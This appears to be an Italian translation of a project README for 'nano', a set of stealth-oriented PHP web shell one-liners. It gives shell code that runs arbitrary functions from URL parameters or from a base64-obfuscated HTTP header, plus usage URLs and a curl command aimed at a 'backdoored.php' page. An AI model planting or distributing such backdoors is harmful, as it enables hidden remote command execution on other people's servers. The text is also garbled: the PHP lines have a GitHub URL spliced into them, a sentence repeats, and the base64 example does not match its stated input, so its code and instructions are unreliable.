
Nano è una famiglia di web shell PHP che sono code golfed per la stealth.
Nano è una famiglia di webshell PHP ottimizzate con code golf per essere estremamente furtive ed efficienti.
Mettilo sotto osservazione, forse continuerò a caricare altre webshell qui.
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/HEAD/$GET_%5Bc%5D);
http://example.com/nano.php?f=function&c=command&p=password
f è per la funzione
c è per il comando
p è per la password
Ad esempio, il codice seguente eseguirà il comando ls:
http://example.com/nano.php?f=system&c=ls&p=password
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/HEAD/$x%5B1%5D);
Questo è un po' complesso.
Supponiamo che tu voglia eseguire system(ls), quindi scrivilo come system~ls e poi codificalo in base64, cioè c3lzdGVtKGxzKQ==
Ora aggiungi un qualsiasi carattere 1 all'inizio. Diciamo 'x', quindi sarà xc3lzdGVtKGxzKQ==
Ora apri il tuo terminale e digita il seguente comando
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Troppo lavoro? Puoi usare il handler invece.

Questa è la mia prima cosa in PHP, quindi se c'è un modo per fare ciò che ho fatto in modo migliore, per favore fammelo sapere o apri una pull request.
Il progetto nano è concesso in licenza MIT, il che significa fondamentalmente che devi darmi credito se vuoi ridistribuirlo o modificarlo.